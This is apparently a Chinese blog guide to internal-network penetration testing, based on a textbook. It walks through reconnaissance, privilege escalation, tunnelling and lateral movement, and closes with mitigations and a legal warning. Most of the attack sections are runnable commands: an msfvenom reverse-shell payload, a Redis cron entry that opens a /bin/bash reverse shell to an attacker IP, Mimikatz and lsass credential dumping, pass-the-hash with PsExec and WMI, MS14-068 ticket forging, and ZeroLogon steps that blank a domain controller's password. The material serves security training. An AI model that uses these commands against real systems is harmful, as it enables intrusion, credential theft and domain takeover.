内网渗透技术全面指南——安全业务视角(基于《内网渗透技术 (吴丽进、苗春雨 主编;郑州、雷珊珊、王伦 副主编)》)

文章目录


内网渗透是网络安全领域的重要分支,对于企业安全防御体系建设、安全治理和风险评估具有重要意义。本文将系统性地介绍内网渗透技术的核心概念、方法论和实战技巧,帮助安全专业人员全面掌握相关知识,为企业安全防御提供参考。

如果想深入研究,可以看这本书,是以任务为视角,偏向技术人员实际操作,同时搭配本博客食用更佳!

安恒信息:《内网渗透技术 (吴丽进、苗春雨 主编;郑州、雷珊珊、王伦 副主编)》


一、内网渗透概述

内网渗透的定义

内网渗透是指安全测试人员在获取网络边界的一台或多台服务器权限后,利用这些服务器作为跳板,对内部网络进行渗透测试的过程。内网渗透测试的最终目标是模拟真实攻击者的行为,评估企业内网的安全性,发现潜在风险,并提出改进建议。

内网渗透的意义

内网渗透测试对企业安全具有以下几点重要意义:

  1. 评估安全防御能力:通过模拟真实攻击者的行为,评估企业内网安全防御的有效性
  2. 发现潜在安全漏洞:识别内网环境中可能被恶意攻击者利用的安全漏洞和配置错误
  3. 验证安全策略实施:检查企业安全策略在实际环境中的执行情况
  4. 提高安全意识:帮助企业员工了解内网安全的重要性,增强安全意识
  5. 指导安全建设:为企业安全建设提供具体方向和建议

内网渗透的流程

内网渗透测试通常遵循以下流程:

  1. 信息收集:获取内网结构、主机信息、用户信息等基础数据
  2. 权限提升:将获取的低权限账户提升至管理员或系统级别权限
  3. 代理穿透:建立网络通道,实现跨网段访问内网资源
  4. 横向移动:从一台已控制的主机扩展到其他内网主机
  5. 痕迹清除:清理入侵痕迹,避免被发现

二、内网渗透环境准备

2.1 C&C工具的使用

命令与控制(Command and Control,C&C)工具是内网渗透中最基础的工具类型,用于和已控制的受害机器建立持续连接,实现远程控制。常见的C&C工具包括:

Metasploit Framework

Metasploit Framework(MSF)是一个开源的渗透测试框架,提供了丰富的漏洞利用模块和攻击载荷:

  • 基本使用流程

    1. 使用msfconsole命令启动MSF
    2. 使用search命令查找漏洞模块
    3. 使用use命令选择漏洞模块
    4. 使用set命令设置参数
    5. 使用runexploit命令执行漏洞利用
  • meterpreter会话:MSF的特殊会话类型,具有文件操作、命令执行、权限提升等功能

  • msfvenom工具:MSF的攻击载荷生成器,可生成各种格式的恶意文件

    复制代码
    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=攻击机IP -f exe > shell.exe

Cobalt Strike

Cobalt Strike是一款商业化的C&C工具,具有更友好的用户界面和更丰富的功能:

  • 服务端与客户端:Cobalt Strike采用C/S架构,支持团队协作
  • Beacon会话:Cobalt Strike的特殊会话类型,提供控制目标主机的各种功能
  • 睡眠机制:Beacon可设置通信间隔时间,降低被发现风险

2.2 Windows域环境的搭建

域环境是企业中常见的网络环境类型,是内网渗透的重要目标:

Windows Server域服务安装

在Windows Server上安装Active Directory域服务的主要步骤:

  1. 安装Active Directory域服务角色
  2. 运行Active Directory域服务安装向导
  3. 创建新林、新域
  4. 设置域功能级别和DNS服务器
  5. 设置管理员密码

客户端加入域环境

Windows客户端加入域环境的步骤:

  1. 配置客户端网络设置(确保DNS指向域控制器)
  2. 修改计算机属性中的计算机名和域设置
  3. 提供域管理员凭据完成加入域操作

三、内网信息收集技术

3.1 本机信息收集

本机信息收集是内网渗透的第一步,主要回答"我是谁"的问题:

Windows主机信息收集

  1. 用户信息收集

    复制代码
    whoami /all  # 查看当前用户详细信息
    net user     # 查看本地用户列表
    net localgroup administrators  # 查看本地管理员组成员
  2. 系统信息收集

    复制代码
    systeminfo   # 查看操作系统信息
    ipconfig /all  # 查看网络配置
    route print  # 查看路由表
  3. 网络连接信息

    复制代码
    netstat -ano  # 查看端口连接情况
    net share    # 查看共享信息
    net session  # 查看会话连接
  4. 进程信息收集

    复制代码
    tasklist     # 查看进程列表
    tasklist /SVC  # 查看服务和进程的对应关系
  5. 域信息收集(适用于域环境):

    复制代码
    net config workstation  # 查看当前域信息
    net group "domain admins" /domain  # 查看域管理员组成员
    net group "domain controllers" /domain  # 查看域控制器列表

Linux主机信息收集

  1. 用户信息收集

    复制代码
    whoami       # 查看当前用户
    id           # 查看用户ID和组信息
    cat /etc/passwd  # 查看系统用户列表
    last         # 查看最近登录信息
  2. 系统信息收集

    复制代码
    uname -a     # 查看操作系统信息
    ifconfig     # 查看网络接口信息
    hostname -I  # 查看主机IP地址
  3. 网络连接信息

    复制代码
    netstat -ntlp  # 查看TCP端口监听情况
  4. 进程信息收集

    复制代码
    ps -ef       # 查看进程信息

3.2 内网主机信息收集

内网主机信息收集主要回答"这是哪"的问题,探测内网中的其他主机:

主机存活探测

  1. ICMP探测

    复制代码
    for /l %i in (1,1,255)do @ping 192.168.111.%i -w 1 -n 1 | find /i "ttl"
  2. ARP扫描(使用MSF):

    复制代码
    run post/windows/gather/arp_scanner RHOSTS=192.168.111.1/24

端口扫描

  1. 使用MSF端口扫描模块

    复制代码
    use auxiliary/scanner/portscan/tcp
    set RHOSTS 192.168.111.100
    set PORTS 21,23,53,80,445,1433
    run
  2. 使用fscan工具:fscan是一款内网综合扫描工具,支持主机存活探测、端口扫描、服务识别等功能

    复制代码
    fscan64.exe -h 192.168.111.1/24

四、内网权限提升技术

4.1 Windows主机权限提升

Windows主机权限提升的主要目标是从普通用户提升至管理员或SYSTEM权限:

UAC绕过

用户账户控制(UAC)是Windows Vista及以上版本引入的安全机制,即使管理员用户也需要通过UAC才能执行高权限操作:

  1. 使用MSF绕过UAC

    复制代码
    use exploit/windows/local/bypassuac
    set SESSION <session id>
    run

内核漏洞利用

Windows系统的内核漏洞可用于权限提升:

  1. 使用MSF的local_exploit_suggester模块

    复制代码
    run post/multi/recon/local_exploit_suggester
  2. 使用WES-NG辅助提权脚本:该脚本可根据系统信息匹配可用的提权漏洞

  3. 常见内核漏洞:CVE-2019-1458、MS16-032等

4.2 Linux主机权限提升

Linux主机权限提升的主要目标是从普通用户提升至root权限:

sudo提权

利用sudo配置错误实现提权:

复制代码
sudo -l       # 查看当前用户可执行的sudo命令
sudo -i       # 如果允许,直接切换至root用户

内核漏洞利用

  1. 使用linux-exploit-suggester脚本:根据内核版本识别可用的提权漏洞

  2. 常见Linux内核漏洞:CVE-2021-4034(pkexec)、DirtyCow等

4.3 通过第三方服务提权

MySQL UDF提权

MySQL UDF(用户自定义函数)提权的条件:

  1. 获取MySQL高权限用户(如root)
  2. MySQL具有文件读写权限

提权步骤:

  1. 检查MySQL是否有文件读写权限

    复制代码
    show global variables like '%secure_file_priv%';
  2. 使用MSF模块上传恶意外部插件

    复制代码
    use exploit/multi/mysql/mysql_udf_payload
  3. 创建执行命令的自定义函数

    复制代码
    create function sys_eval returns string SONAME '插件文件名';
  4. 执行系统命令

    复制代码
    select sys_eval("whoami");

Redis利用同步保存提权

Redis的同步保存功能可写入任意文件,提权方式:

  1. 写入定时任务

    复制代码
    set x "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/攻击机IP/4444 0>&1\n"
    config set dir /var/spool/cron
    config set dbfilename root
    save
  2. 写入SSH公钥:将SSH公钥写入目标用户的authorized_keys文件

  3. 写入WebShell:将WebShell写入Web服务目录


五、内网代理穿透技术

内网代理穿透用于打通网络限制,使攻击者能够访问内网中的隔离网段:

5.1 端口转发技术

端口转发适用于转发特定端口的流量:

使用lcx/portmap工具

lcx工具实现端口转发的两种模式:

  1. listen模式(在攻击机上执行):

    复制代码
    lcx.exe -listen <监听端口> <转发端口>
  2. slave模式(在内网主机上执行):

    复制代码
    lcx.exe -slave <攻击机IP> <监听端口> <目标IP> <目标端口>

5.2 流量代理技术

流量代理技术适用于转发所有网络流量:

使用ew(EarthWorm)工具

ew工具支持正向代理和反向代理:

  1. 正向代理(在内网边缘主机上执行):

    复制代码
    ew_for_Win.exe -s ssocksd -l 1080
  2. 反向代理

    • 在攻击机上执行:

      复制代码
      ew_for_Win.exe -s rcsocks -l 1080 -e 8888
    • 在内网边缘主机上执行:

      复制代码
      ew_for_Win.exe -s rssocks -d <攻击机IP> -e 8888

使用nps工具

nps是一款功能强大的内网穿透代理服务器:

  1. 服务端配置:配置nps.conf文件,设置通信端口和Web管理端口

  2. 客户端配置:将客户端连接至服务端

    复制代码
    npc.exe -server=<服务端IP:端口> -vkey=<验证密钥>
  3. 代理类型:支持SOCKS代理、HTTP代理等

使用gost工具

gost是基于Go语言开发的安全隧道:

  1. 正向代理

    复制代码
    gost-windows-amd64.exe -L :1080
  2. 转发代理

    复制代码
    gost-linux-amd64 -L :1080 -F <内网主机IP>:1080

代理客户端

配置代理客户端连接上述代理:

  1. Proxifier(Windows):图形化配置代理

  2. ProxyChains(Linux):

    复制代码
    vim /etc/proxychains4.conf  # 配置代理
    proxychains <命令>         # 使用代理执行命令

六、内网横向移动技术

横向移动是从一台已控制的主机扩展到其他内网主机的过程:

6.1 凭证获取

使用Mimikatz获取凭证

Mimikatz是一款强大的Windows凭证获取工具:

  1. 抓取明文密码和哈希

    复制代码
    privilege::debug
    sekurlsa::logonPasswords full
  2. MSF集成的Mimikatz

    复制代码
    load kiwi
    creds_all
  3. 使用ProcDump配合Mimikatz

    复制代码
    procdump -accepteula -ma lsass.exe lsass.dmp
    sekurlsa::minidump lsass.dmp
    sekurlsa::logonPasswords full

6.2 利用IPC$进行横向移动

IPC$是Windows系统的命名管道共享资源:

  1. 建立IPC$连接

    复制代码
    net use \\<目标IP>\ipc$ "密码" /user:administrator
  2. 上传恶意文件

    复制代码
    copy shell.exe \\<目标IP>\C$
  3. 创建计划任务执行

    • 使用at命令(Windows 7及以下):

      复制代码
      at \\<目标IP> <时间> C:\shell.exe
    • 使用schtasks命令(Windows 7以上):

      复制代码
      schtasks /create /s <目标IP> /u administrator /p "密码" /ru "SYSTEM" /tn shell /sc DAILY /tr C:\shell.exe /F
      schtasks /run /s <目标IP> /u administrator /p "密码" /tn shell /i

6.3 利用SMB服务进行横向移动

使用PsExec

PsExec是微软官方提供的远程命令执行工具:

复制代码
PsExec.exe \\<目标IP> -u administrator -p "密码" -s cmd

使用impacket的psexec.py

impacket的psexec.py支持哈希传递攻击(PTH):

复制代码
python3 psexec.py -hashes :<NTLM哈希> 域名/用户名@<目标IP>

6.4 利用WMI服务进行横向移动

WMI(Windows Management Instrumentation)服务用于远程管理Windows系统:

  1. 使用wmic命令

    复制代码
    wmic /node:<目标IP> /user:administrator /password:<密码> process call create "cmd.exe /c command"
  2. 使用wmiexec.vbs脚本

    复制代码
    cscript //nologo wmiexec.vbs /shell <目标IP> administrator 密码
  3. 使用impacket的wmiexec.py

    复制代码
    python3 wmiexec.py -hashes :<NTLM哈希> 域名/用户名@<目标IP>

6.5 域环境横向移动

MS14-068漏洞利用

MS14-068是一个Kerberos域用户提权漏洞:

  1. 获取域用户SID

    复制代码
    whoami /all
  2. 清除票据

    复制代码
    kerberos::purge
  3. 伪造票据

    复制代码
    MS14-068.exe -u <域用户>@<域名> -s <SID> -d <域控IP> -p <密码>
  4. 导入票据

    复制代码
    kerberos::ptc <票据文件>
  5. 验证提权

    复制代码
    dir \\<域控主机名>\C$

CVE-2020-1472(ZeroLogon)漏洞利用

ZeroLogon漏洞允许未经身份验证的攻击者获取域控制器的权限:

  1. 检测漏洞

    复制代码
    python3 zerologon_tester.py <域控主机名> <域控IP>
  2. 置空域控密码

    复制代码
    python3 set_empty_pw.py <域控主机名> <域控IP>
  3. 获取域用户哈希

    复制代码
    python3 secretsdump.py <域名>/<域控主机名>\$@<域控IP> -no-pass
  4. 恢复域控密码

    复制代码
    python3 reinstall_original_pw.py <域控主机名> <域控IP> <NTLM哈希>

七、内网渗透防御与缓解措施

网络隔离与访问控制

  1. 网络分段:划分不同安全区域,实施严格的访问控制
  2. 最小权限原则:仅授予用户必要的权限
  3. 双因素认证:为关键系统实施双因素认证

系统加固

  1. 定期补丁更新:及时安装系统和应用补丁
  2. 禁用不必要服务:关闭不需要的网络服务和端口
  3. 强密码策略:实施复杂密码策略,避免密码复用

监控与检测

  1. 安全日志审计:收集并分析系统和网络日志
  2. 行为异常检测:建立基准行为模型,检测异常活动
  3. 安全工具部署:部署IDS/IPS、EDR等安全工具

八、总结

内网渗透测试是一项复杂而系统的工作,需要测试人员掌握多种技术和工具。从信息收集、权限提升、代理穿透到横向移动,每一步都需要细致的操作和全面的思考。通过深入了解内网渗透技术,企业安全团队可以更好地评估内网安全状况,发现潜在风险,并制定有效的防御策略,最终提升整体安全水平。

同时,我们也必须强调,内网渗透技术应当用于合法的安全测试活动,测试前必须获得相关授权,并遵守相关法律法规和职业道德准则。安全专业人员应当将这些知识用于保护信息系统安全,而非破坏或侵犯他人隐私。

特别强调,根据《中华人民共和国刑法》第二百八十六条,违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。

专业名词附录表

A
Active Directory(AD):微软开发的目录服务,用于在Windows域网络中进行身份验证和授权

ARP扫描:通过发送ARP请求确定局域网内存活主机的方法
B
Beacon:Cobalt Strike工具中的一种特殊会话类型,用于与服务器进行通信
C
C&C(Command and Control):命令与控制,指攻击者用于与受控主机通信的服务器和通信方式

Cobalt Strike:一款商业化的渗透测试框架和后渗透工具
G
Golden Ticket:黄金票据,Kerberos认证协议中可用于伪造任意用户的TGT票据

gost:一款基于Go语言开发的安全隧道和代理工具
H
Hash传递攻击(PTH):不提供明文密码,仅使用哈希值进行身份验证的攻击方式
I
impacket:用于处理网络协议的Python库,包含多种用于横向移动的工具

IPC$(Internet Process Connection):Windows系统中提供进程间通信的命名管道共享资源
K
Kerberos:一种网络认证协议,用于在不安全网络中验证服务请求的身份
L
lcx:一款端口转发工具,用于将内网端口映射到外网
M
Metasploit Framework(MSF):一个开源的渗透测试框架

meterpreter:MSF的高级载荷,提供交互式shell和系统操作功能

Mimikatz:一款用于提取Windows系统中凭证的工具

MS14-068:一个Kerberos域用户提权漏洞(CVE-2014-6324)
N
nps:一款轻量级、高性能的内网穿透代理服务器

NTLM哈希:Windows系统中存储密码的哈希值格式
P
ProxyChains:Linux系统下的代理配置工具

Proxifier:Windows系统下的全局代理配置工具

PsExec:微软提供的用于远程命令执行的工具

PTT(Pass The Ticket):票据传递攻击,利用Kerberos票据进行身份验证的攻击方式
S
SMB(Server Message Block):一种用于共享文件、打印机和串行端口的网络协议

SOCKS:一种网络传输协议,主要用于客户端与外网服务器之间通讯的中间传递

SQL注入:通过将SQL代码插入应用程序的输入字段中,从而影响数据库查询的技术
U
UAC(User Account Control):Windows的用户账户控制功能,用于防止恶意软件未经授权修改系统
W
WMI(Windows Management Instrumentation):Windows管理规范,用于管理数据和操作Windows系统

wmic:Windows系统中用于访问WMI的命令行工具
Z
ZeroLogon(CVE-2020-1472):一个严重的Windows域控制器漏洞,允许攻击者未经身份验证获取域控权限

相关推荐
帅得不敢出门2 小时前
Ubuntu打开中文文本乱码
linux·运维·ubuntu·vim
明月看潮生3 小时前
Windows_PyCharm Python语言开发环境构建
windows·python·青少年编程·pycharm·编程与数学
pp-周子晗(努力赶上课程进度版)3 小时前
【计算机网络-传输层】传输层协议-UDP
linux·计算机网络·udp
后院那片海3 小时前
Nginx安全防护与HTTPS部署实战
安全
only火车头3 小时前
mdadm 报错: buffer overflow detected
linux·mdadm·blktest
Flaming_1233 小时前
将develop分支的修改同步到main分支
linux·git·merge
Rocket MAN3 小时前
在 Ubuntu 中配置 Samba 实现「特定用户可写,其他用户只读」的共享目录
网络·windows·ubuntu
Nina_7174 小时前
python简易实现勒索病毒
网络·python·网络安全
weixin_428498494 小时前
使用 pgrep 杀掉所有指定进程
linux
rayylee4 小时前
Ubuntu也开始锈化了?Ubuntu 计划在 25.10 版本开始引入 Rust Coreutils
linux·ubuntu·rust